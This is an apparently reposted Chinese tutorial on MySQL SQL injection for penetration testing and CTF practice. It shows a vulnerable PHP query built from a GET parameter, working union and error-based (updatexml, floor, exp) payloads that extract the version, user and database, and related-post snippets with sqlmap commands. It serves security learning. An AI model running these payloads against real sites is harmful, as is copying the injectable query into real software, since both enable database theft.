滲透測試和CTF中SQL注入

2021-10-11 19:01:51 字數 1721 閱讀 3251

本文內容主要基於mysql的注入

首先,sql注入的成因:開發人員在開發過程中,直接將url中的引數,http body中的post引數或其它外來的使用者輸入(如cookies、user-agent等)與sql語句進行拼接,造成待執行的sql語句可控,從而使我們可以執行任意sql語句

(1)可回顯的注入

聯合查詢注入

報錯注入

通過注入進行dns請求,從而達到可回顯的目的

(2)不可回顯的注入

bool盲注

時間盲注

(3)二次注入

一般需要自己編寫指令碼已實現自動化注入

可以聯合查詢的sql注入

在可以聯合查詢的題目中,一般會將資料庫查詢的資料回顯到頁面中

源**類似如下:

<?php..

.$id

=$_get

['id'];

$getid

="select id from users where user_id='$id'";

...

此時,$id變數會將id獲取到的引數直接拼接到sql語句中

payload如下:

?id=-1'+union+select+1+--+
閉合掉前面的單引號,注釋掉後面的單引號

報錯注入

主要有三種mysql資料庫報錯注入的方法,分別是updatexml,floor和exp

updatexml

updatexml的報錯原理從本質上來說就是函式的報錯

以前面的源**為例:

<?php..

.$id

=$_get

['id'];

$getid

="select id from users where user_id='$id'";

...

payload可以如下:

?id=1'+updatexml(1,concat(0x7e,(select version(

)),0x7e),1)%23

floor

floor報錯的原理是rand和order by或group by的衝突

還是以上面的源**為例,

爆破資料庫版本資訊的payload如下:

?id=1'+and(select 1 from (select count(*),concat((select (select (select concat(

0x7e

, version(),

0x7e

))) from information_schema.tables limit 0,1), floor(rand(0)*2)) x from information_schema.tables group by x)a)%23

爆破當前使用者的payload:

將上面的payload中的version()改為user()

爆破當前使用的資料庫payload:

將上面的payload中的version()改為database()

expexp報錯的本質原因是溢位報錯

以一開始的源**為例:

payload為:

?id=1' and exp(~(select * from (select user(

))x))%23

滲透測試基礎之sql注入

1 什麼是sql注入?sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。2 sql注入能帶來的威脅?猜解後台資料庫,這是利用最多的方式,盜取 的敏感資訊。繞過認證,列如繞過驗證登入 後台。...

CTF之SQL注入

github audi 1 sqli labs sqli labs 爆庫名select database 爆表名select group concat table name from information schema.tables where table schema database 爆列名s...

Mac滲透測試 之SQL注入Demo

二 sql注入 三 參考文章 2 驗證sqlmap安裝成功 1 首先網上找到了sql 注入靶場 基礎語法 sqlmap.py u 注入位址 dbs 列舉資料庫 sqlmap.py u 注入位址 current db 當前資料庫 sqlmap.py u 注入位址 users 列資料庫使用者 sqlma...